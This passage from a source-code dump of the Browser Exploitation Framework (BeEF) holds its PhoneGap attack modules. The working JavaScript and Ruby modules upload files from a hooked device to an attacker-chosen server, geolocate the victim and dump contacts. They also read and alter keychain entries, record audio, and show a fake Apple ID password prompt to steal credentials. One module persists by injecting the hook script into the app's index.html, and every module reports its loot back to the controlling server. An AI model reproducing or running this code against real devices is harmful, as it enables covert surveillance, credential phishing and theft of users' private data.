    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n// phonegap_upload\n//\nbeef.execute(function() {\n    var result = 'unchanged';\n    \n    // TODO return result to beef\n    function win(r) {\n        //alert(r.response);\n        result = 'success';\n    }\n   \n    // TODO return result to beef\n    function fail(error) {\n        //alert('error! errocode =' + error.code);\n        result = 'fail';\n    }   \n\n    // (ab)use phonegap api to upload file\n    function beef_upload(file_path, upload_url) {\n\n        var options = new FileUploadOptions();\n        options.fileKey=\"content\";\n\n        // grab filename from the filepath \n        re = new RegExp(\"([^/]*)$\");\n        options.fileName = file_path.match(re)[0];\n        //options.fileName=\"myrecording.wav\";// TODO grab from filepath\n        \n        // needed?\n        var params = new Object();\n        params.value1 = \"test\";\n        params.value2 = \"param\";\n        options.params = params;\n        // needed?\n        \n        var ft = new FileTransfer();\n        ft.upload(file_path, upload_url, win, fail, options);\n    }\n\n    beef_upload('<%== @file_upload_src %>', '<%== @file_upload_dst %>');\n    \n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result ); // move this to inside beef_upload\n});\n"
  },
  {
    "path": "modules/phonegap/phonegap_file_upload/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#   phonegap\n#\nbeef:\n    module:\n        phonegap_file_upload:\n            enable: true\n            category: \"Phonegap\"\n            name: \"Upload File\"\n            description: \"Upload files from device to a server of your choice. This module requires the PhoneGap API.\"\n            authors: [\"mh\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/phonegap/phonegap_file_upload/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# phonegap\n#\n\nclass Phonegap_file_upload < BeEF::Core::Command\n  def self.options\n    [{\n      'name' => 'file_upload_dst',\n      'description' => 'Upload a file from device to your server',\n      'ui_label' => 'Destination',\n      'value' => 'http://192.168.9.130/recv-unauth.php',\n      'width' => '300px'\n    }, {\n      'name' => 'file_upload_src',\n      'description' => 'path to file on device',\n      'ui_label' => 'File Path',\n      'value' => '/sdcard/myrecording.wav',\n      'width' => '300px'\n    }]\n  end\n\n  def callback\n    content = {}\n    content['Result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/phonegap/phonegap_geo_locate/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n// geo locate\n//\nbeef.execute(function() {\n    var onSuccess = function(position) {\n        result = \n          'Latitude: '          + position.coords.latitude          + '\\n' +\n          'Longitude: '         + position.coords.longitude         + '\\n' +\n          'Altitude: '          + position.coords.altitude          + '\\n' +\n          'Accuracy: '          + position.coords.accuracy          + '\\n' +\n          'Altitude Accuracy: ' + position.coords.altitudeAccuracy  + '\\n' +\n          'Heading: '           + position.coords.heading           + '\\n' +\n          'Speed: '             + position.coords.speed             + '\\n' +\n          'Timestamp: '         + new Date(position.timestamp)      + '\\n' ;\n \n       map = 'Map url: http://maps.google.com/?ll='+ \n            position.coords.latitude + ',' + position.coords.longitude;\n\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result+map );\n    };\n\n    // onError Callback receives a PositionError object\n    //\n    function onError(error) {\n        beef.debug('code: '    + error.code    + '\\n' +\n          'message: ' + error.message + '\\n');\n    }\n\n    navigator.geolocation.getCurrentPosition(onSuccess, onError);\n});\n"
  },
  {
    "path": "modules/phonegap/phonegap_geo_locate/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#   phonegap\n#\nbeef:\n    module:\n        phonegap_geo_locate:\n            enable: true\n            category: \"Phonegap\"\n            name: \"Geolocation\"\n            description: \"Geo locate your victim. This module requires the PhoneGap API.\"\n            authors: [\"mh\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/phonegap/phonegap_geo_locate/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# phonegap\n#\n\nclass Phonegap_geo_locate < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/phonegap/phonegap_globalization_status/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n// Phonegap_globalization_status\n//\nbeef.execute(function() {\n    var result = '';\n\n    navigator.globalization.getPreferredLanguage(\n  \t\tfunction (language) {\n  \t\t\tresult = 'language: ' + language.value + '\\n';\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result );\n  \t\t}, \n  \t\tfunction () {\n  \t\t\tresult = 'language: ' + 'fail\\n';\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result );\n  \t\t}\n\t);\n\n    navigator.globalization.getLocaleName(\n  \t\tfunction (locale) {\n  \t\t\tresult = 'locale: ' + locale.value + '\\n';\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result );\n  \t\t},\n  \t\tfunction () {\n  \t\t\tresult = 'locale: ' + 'fail\\n';\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result );\n  \t\t}\n\t);\n    \n});"
  },
  {
    "path": "modules/phonegap/phonegap_globalization_status/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#   Phonegap_globalization_status\n#\nbeef:\n    module:\n        phonegap_globalization_status:\n            enable: true\n            category: \"Phonegap\"\n            name: \"Globalization Status\"\n            description: \"Examine device local settings. This module requires the PhoneGap API.\"\n            authors: [\"staregate\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/phonegap/phonegap_globalization_status/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# // Phonegap_globalization_status\n\nclass Phonegap_globalization_status < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['Result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/phonegap/phonegap_keychain/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n// Phonegap_keychain\n//\nbeef.execute(function() {\n    var servicename = \"<%== @servicename %>\";\n    var key = \"<%== @key %>\";\n    var value = \"<%== @value %>\";\n    var action = \"<%== @action %>\";\n    var result = '';\n    var kc = '';\n\n    try {\n        kc = cordova.require(\"cordova/plugin/keychain\");\n    } catch (err) {\n        result = 'Unable to access keychain plugin';\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result ); \n    }\n\n    function onGet()\n    {  \n        var win = function(value) {\n            result = result + \"GET SUCCESS - Key: \" + key + \" Value: \" + value;\n            beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result ); \n\n        };\n        var fail = function(error) {\n            result = result + \"GET FAIL - Key: \" + key + \" Error: \" + error;\n            beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result ); \n        };\n        \n        kc.getForKey(win, fail, key, servicename);\n\n    }\n    \n    function onSet()\n    {        \n        var win = function() {\n            result = result + \"SET SUCCESS - Key: \" + key;\n            beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result ); \n        };\n        var fail = function(error) {\n            result = result + \"SET FAIL - Key: \" + key + \" Error: \" + error;\n            beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result ); \n        };\n        \n        kc.setForKey(win, fail, key, servicename, value);\n    }\n    \n    function onRemove()\n    {\n        var win = function() {\n            result = result + \"REMOVE SUCCESS - Key: \" + key;\n            beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result ); \n        };\n        var fail = function(error) {\n            result = result + \"REMOVE FAIL - Key: \" + key + \" Error: \" + error;\n            beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result ); \n        };\n        \n        kc.removeForKey(win, fail, key, servicename);\n    }\n\n    if (kc !== undefined)  {\n        switch(action) {\n            case 'Read':\n                onGet();\n                break;\n            case 'CreateUpdate':\n                onSet();\n                break;\n            case 'Delete':\n                onRemove();\n                break;\n        }\n    } \n\n});\n"
  },
  {
    "path": "modules/phonegap/phonegap_keychain/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#   Phonegap_keychain\n#\nbeef:\n    module:\n        phonegap_keychain:\n            enable: true\n            category: \"Phonegap\"\n            name: \"Keychain\"\n            description: \"Read/CreateUpdate/Delete Keychain Elements. This module requires the PhoneGap API.\"\n            authors: [\"staregate\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/phonegap/phonegap_keychain/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# Phonegap_keychain\n#\n\nclass Phonegap_keychain < BeEF::Core::Command\n  def self.options\n    [{\n      'name' => 'servicename',\n      'description' => 'Service name',\n      'ui_label' => 'Service name',\n      'value' => 'ServiceNameTest',\n      'width' => '300px'\n\n    }, {\n      'name' => 'key',\n      'description' => 'Key',\n      'ui_label' => 'Key',\n      'value' => 'TestKey',\n      'width' => '300px'\n    }, {\n      'name' => 'value',\n      'description' => 'Value',\n      'ui_label' => 'Value',\n      'value' => 'TestValue',\n      'width' => '100px'\n    }, {\n      'name' => 'action',\n      'type' => 'combobox',\n      'ui_label' => 'Action Type',\n      'store_type' => 'arraystore',\n      'store_fields' => ['action'],\n      'store_data' => [['Read'], ['CreateUpdate'], ['Delete']],\n      'valueField' => 'action',\n      'value' => 'CreateUpdate',\n      editable: false,\n      'displayField' => 'action',\n      'mode' => 'local',\n      'autoWidth' => true\n    }]\n  end\n\n  def callback\n    content = {}\n    content['Result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/phonegap/phonegap_list_contacts/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n// phonegap_list_contacts\n//\nbeef.execute(function() {\n    var result = '';\n\n    function onSuccess(contacts) {\n\n         for (var i=0; i<contacts.length; i++) {\n            result = contacts[i].displayName;\n            \n\t    if (contacts[i].phoneNumbers != null) {\n              for (var j=0; j<contacts[i].phoneNumbers.length; j++) {\n                  result = result + ' #:' + contacts[i].phoneNumbers[j].value;\n              }\n\t    }\n\n\t    if (contacts[i].emails != null) {\n \t           for (var j=0; j<contacts[i].emails.length; j++) {\n        \t        result = result + ' @:' + contacts[i].emails[j].value;\n           \t }\n\t    }\n\n            beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result );    \n\n        }\n    };\n\n    function onError(contactError) {\n        result = 'fail';\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result ); \n    };\n\n\n    var options = new ContactFindOptions();\n    options.filter=\"\";\n    options.multiple=true; \n    var fields = [\"displayName\", \"phoneNumbers\", \"emails\"];\n    \n    navigator.contacts.find(fields, onSuccess, onError, options);\n    \n});\n"
  },
  {
    "path": "modules/phonegap/phonegap_list_contacts/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#   phonegap\n#\nbeef:\n    module:\n        phonegap_list_contacts:\n            enable: true\n            category: \"Phonegap\"\n            name: \"List Contacts\"\n            description: \"Examine device contacts. This module requires the PhoneGap API.\"\n            authors: [\"staregate\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/phonegap/phonegap_list_contacts/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# // phonegap_list_contacts\n\nclass Phonegap_list_contacts < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['Result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/phonegap/phonegap_list_files/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n// phonegap_upload\n//\nbeef.execute(function() {\n    var directory = \"<%== @directory %>\";\n    var result = '';\n\n    function fail() {\n        result = 'fail';\n        \n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result );\t\n    }\n\n    function success(entries) {\n        var i;\n        for (i=0; i<entries.length; i++) {\n            result = result + '\\n ' + entries[i].name;        \n        }\n\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result );\t\n    } \n\n    // use directoryentry to create directory reader\n    function gotDirEntry(dirEntry) {\n        var directoryReader = dirEntry.createReader();\n        directoryReader.readEntries(success,fail);\n    }\n\n    // use getDirectoy to create reference to directoryentry \n    function gotFS(fileSystem) {\n        fileSystem.root.getDirectory(directory, null, gotDirEntry, fail);\n    }\n   \n    window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail);\n\n});\n"
  },
  {
    "path": "modules/phonegap/phonegap_list_files/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#   phonegap\n#\nbeef:\n    module:\n        phonegap_list_files:\n            enable: true\n            category: \"Phonegap\"\n            name: \"List Files\"\n            description: \"Examine device file system. This module requires the PhoneGap API.\"\n            authors: [\"mh\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/phonegap/phonegap_list_files/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# phonegap\n#\n\nclass Phonegap_list_files < BeEF::Core::Command\n  def self.options\n    [{\n      'name' => 'directory',\n      'description' => 'List files in this directory',\n      'ui_label' => 'Directory',\n      'value' => '/',\n      'width' => '300px'\n    }]\n  end\n\n  def callback\n    content = {}\n    content['Result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/phonegap/phonegap_persist_resume/command.js",
    "content": "/*\n * Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\n * See the file 'doc/COPYING' for copying permission\n */\n\n//\n// persist on over app's sleep/wake events\nbeef.execute(function() {\n    var result;\n\n    try {\n        document.addEventListener(\"resume\", beef_init(), false);\n        result = 'success';\n\n    } catch (e) {\n        for(var n in e) {\n            result+= n + \" \" + e[n] + \"\\n\"; \n        }\n    }\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);\n});\n"
  },
  {
    "path": "modules/phonegap/phonegap_persist_resume/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\n#   persist on over app's sleep/wake events\nbeef:\n    module:\n        phonegap_persist_resume:\n            enable: true\n            category: \"Phonegap\"\n            name: \"Persist resume\"\n            description: \"Persist over applications sleep/wake events. This module requires the PhoneGap API.\"\n            authors: [\"mh\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/phonegap/phonegap_persist_resume/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\n#   persist on over app's sleep/wake events\nclass Phonegap_persist_resume < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/phonegap/phonegap_persistence/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n// persistence\n//\nbeef.execute(function() {\n   \n    // insert hook into index.html\n    //\n    // 1. locate index.html\n    // 2. read it in \n    // 3. add our hook\n    // 4. write it back out to same location\n\n    // 1. locate index.html\n    // \n    // list dirs under current dir\n    // one should be something.app\n    // inside that should be a www dir and in that an index.html\n    //\n\n    // write the file with new hook\n    function write_file(text) {\n\n        function fail () {\n            beef.debug('write_file fail')\n        }\n\n        function gotFileWriter(writer) {\n            writer.onwrite = function(evt) {\n                beef.debug(\"write success\");\n            }\n            writer.write(text);\n        }\n\n        function gotFileEntry(fileEntry) {\n            fileEntry.createWriter(gotFileWriter, fail);\n        }\n\n        function gotFS(fileSystem) {\n            fileSystem.root.getFile(\"../\"+window.tmpfilename+\"/www/index.html\", null, gotFileEntry, fail);\n        }\n\n      window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail);\n        \n    }\n\n    // find <head></head> and insert our hook.\n    function replace_text(text) {\n        re = new RegExp(\"<head>\", \"g\");\n        hook_url = '<%== @hook_url %>';\n        new_text = text.replace(re, \"<head><script src='\" + hook_url + \"'></script>\")\n        \n        write_file(new_text);\n    }\n\n    function read_index(app_name) {\n        function fail () {\n            beef.debug('read_index fail')\n        }\n        \n        function readFile(file) {\n            var reader = new FileReader();\n            reader.onloadend = function(evt) {\n                //beef.debug(\"Read as text\");\n                beef.debug(evt.target.result);\n                replace_text(evt.target.result);\n            };\n            reader.readAsText(file);    \n        }\n        \n        function gotFileEntry(fileEntry) {\n            fileEntry.file(readFile, fail);\n        }\n\n        function gotFS(fileSystem) {\n            fileSystem.root.getFile(\"../\"+app_name+\"/www/index.html\", null, gotFileEntry, fail);\n        }\n\n        window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail);\n    }\n\n    function locate() {\n \n        function result(entries) {\n         beef.debug('result'); \n          var i;\n          for (i=0; i<entries.length; i++) {\n             // looking for <something>.app\n             var re = new RegExp(/^[a-zA-Z0-9]*\\.app/)\n             var match = re.exec(entries[i].name)\n             if (match) {\n               beef.debug('found ' + entries[i].name);\n               \n               // look for ../<something>.app/www/index.html\n               read_index(entries[i].name);\n               \n               // FIXME find a less hacky way\n               // just wanted to make this global so I didnt have to call it again to write the file\n               window.tmpfilename = entries[i].name;\n             }\n           }\n        } \n\n     \n      function fail() {\n        beef.debug('fail');\n      }\n\n      function win(entries) {\n        beef.debug('win');\n        result(entries);\n      }\n\n      // use directoryentry to create directory reader\n      function gotDirEntry(dirEntry) {\n        var directoryReader = dirEntry.createReader();\n        directoryReader.readEntries(win,fail);\n      }\n\n      // use getDirectoy to create reference to directoryentry \n      function gotFS(fileSystem) {\n        // on iphone current dir defaults to <myname>.app/documents\n        // so we wanna look in our parent directory for <something>.app\n        fileSystem.root.getDirectory('../', null, gotDirEntry, fail);\n      }\n\n      window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail);\n    }\n\n\n    //result = fail;\n    //beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result);\n\n    locate(); \n    result = 'success';\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result);\n\n});\n"
  },
  {
    "path": "modules/phonegap/phonegap_persistence/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#   phonegap persistence\n#\nbeef:\n    module:\n        phonegap_persistence:\n            enable: true\n            category: \"Phonegap\"\n            name: \"Persistence (PhoneGap)\"\n            description: \"Insert the BeEF hook into PhoneGap's index.html (iPhone only). This module requires the PhoneGap API.\"\n            authors: [\"mh\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/phonegap/phonegap_persistence/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# phonegap persistenece\n#\n\nclass Phonegap_persistence < BeEF::Core::Command\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    proto = @configuration.beef_proto\n    beef_host = @configuration.beef_host\n    beef_port = @configuration.beef_port\n    hook_file = @configuration.hook_file_path\n\n    [{\n      'name' => 'hook_url',\n      'description' => 'The URL of your BeEF hook',\n      'ui_label' => 'Hook URL',\n      'value' => \"#{proto}://#{beef_host}:#{beef_port}#{hook_file}\",\n      'width' => '300px'\n    }]\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/phonegap/phonegap_plugin_detection/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n// phonegap_plugin_detection\n//\nbeef.execute(function() {\n    var result = '';\n\n    // Approximate list of plugins, intended to work with Cordova 2.x\n    var plugins = new Array(\n        \"cordova/plugin/device\",\n        \"cordova/plugin/logger\",\n        \"cordova/plugin/compass\",\n        \"cordova/plugin/accelerometer\",\n        \"cordova/plugin/Camera\",\n        \"cordova/plugin/network\",\n        \"cordova/plugin/contacts\",\n        \"cordova/plugin/echo\",\n        \"cordova/plugin/File\",\n        \"cordova/plugin/FileTransfer\",\n        \"cordova/plugin/geolocation\",\n        \"cordova/plugin/notification\",\n        \"cordova/plugin/Media\",\n        \"cordova/plugin/capture\",\n        \"cordova/plugin/splashscreen\",\n        \"cordova/plugin/battery\",\n        \"cordova/plugin/globalization\",\n        \"cordova/plugin/InAppBrowser\",\n        \"cordova/plugin/keychain\"\n    );\n\n    for (var i=0; i<plugins.length; i++) {\n        try {\n            var a = cordova.require(plugins[i]);\n            if (a !== undefined) {\n                result = result + '\\n plugin: ' + plugins[i];\n            }\n        } catch (err) {\n            // do nothing\n        }\n    }\n\n\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result ); \n   \n});"
  },
  {
    "path": "modules/phonegap/phonegap_plugin_detection/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#   phonegap_plugin_detection\n#\nbeef:\n    module:\n        phonegap_plugin_detection:\n            enable: true\n            category: \"Phonegap\"\n            name: \"List Plugins\"\n            description: \"Attempts to guess installed plugins. This module requires the PhoneGap API.\"\n            authors: [\"staregate\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/phonegap/phonegap_plugin_detection/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# // phonegap_plugin_detection\n\nclass Phonegap_plugin_detection < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['Result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/phonegap/phonegap_prompt_user/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n// Phonegap_prompt_user\n//\nbeef.execute(function() {\n    var title = \"<%== @title %>\";\n    var question = \"<%== @question %>\";\n    var ans_yes = \"<%== @ans_yes %>\";\n    var ans_no = \"<%== @ans_no %>\";\n    var result = '';\n    var def_text = \"<%== @text %>\";\n\n\n   \n    function onPrompt(results) {\n        result = \"Selected button number \" + results.buttonIndex + \" result: \" + results.input1;\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result='+result );    \n    }\n\n    navigator.notification.prompt(\n        question,\n        onPrompt,      \n        title,         \n        [ans_yes,ans_no],\n\tdef_text\n    );\n  \n});\n"
  },
  {
    "path": "modules/phonegap/phonegap_prompt_user/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#   Phonegap_prompt_user\n#\nbeef:\n    module:\n        phonegap_prompt_user:\n            enable: true\n            category: \"Phonegap\"\n            name: \"Prompt User\"\n            description: \"Ask device user a question. This module requires the PhoneGap API.\"\n            authors: [\"staregate\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/phonegap/phonegap_prompt_user/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# Phonegap_prompt_user\n#\n\nclass Phonegap_prompt_user < BeEF::Core::Command\n  def self.options\n    [{\n      'name' => 'title',\n      'description' => 'Prompt title',\n      'ui_label' => 'Title',\n      'value' => 'Apple ID',\n      'width' => '300px'\n\n    }, {\n      'name' => 'question',\n      'description' => 'Prompt question',\n      'ui_label' => 'Question',\n      'value' => 'Please enter your Apple ID password',\n      'width' => '300px'\n    }, {\n      'name' => 'ans_yes',\n      'description' => 'Prompt positive answer button label',\n      'ui_label' => 'Yes',\n      'value' => 'Submit',\n      'width' => '100px'\n    }, {\n      'name' => 'ans_no',\n      'description' => 'Prompt negative answer button label',\n      'ui_label' => 'No',\n      'value' => 'Cancel',\n      'width' => '100px'\n    }, {\n      'name' => 'text',\n      'description' => 'Default text to display',\n      'ui_label' => 'Default text',\n      'value' => 'Password',\n      'width' => '100px'\n    }]\n  end\n\n  def callback\n    content = {}\n    content['Result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/phonegap/phonegap_start_record_audio/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n// exploit phonegap\n//\nbeef.execute(function() {\n    // TODO detect iphone/android and set this accordingly\n    var file_uri = \"<%== @file_name %>\";\n\n    m = new Media(file_uri);\n    m.startRecord();\n    // weirdly setTimeout and stopRecord don't seem to work together\n    //milliseconds = \"<%== @duration %>\" * 1000;\n    //setTimeout(\"m.stopRecord()\", milliseconds);\n    \n    // so here is an ugly work around\n    //start = new Date(); \n    //stop = start.getTime() + 5000; \n    //do { \n    //    current = new Date(); \n    //    current = current.getTime(); \n    //} while(current < stop) \n    //m.stopRecord();\n    \n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"started recording\");\t\n});\n"
  },
  {
    "path": "modules/phonegap/phonegap_start_record_audio/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n#   phonegap\n#\nbeef:\n    module:\n        phonegap_start_record_audio:\n            enable: true\n            category: \"Phonegap\"\n            name: \"Start Recording Audio\"\n            description: \"Start recording audio. This module requires the PhoneGap API.\"\n            authors: [\"mh\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/phonegap/phonegap_start_record_audio/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# phonegap\n#\n\nclass Phonegap_start_record_audio < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'file_name',\n        'description' => 'File name for audio recording',\n        'ui_label' => 'File Name',\n        'value' => 'myrecording.wav' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['file_name'] = @datastore['file_name']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/phonegap/phonegap_stop_record_audio/command.js",
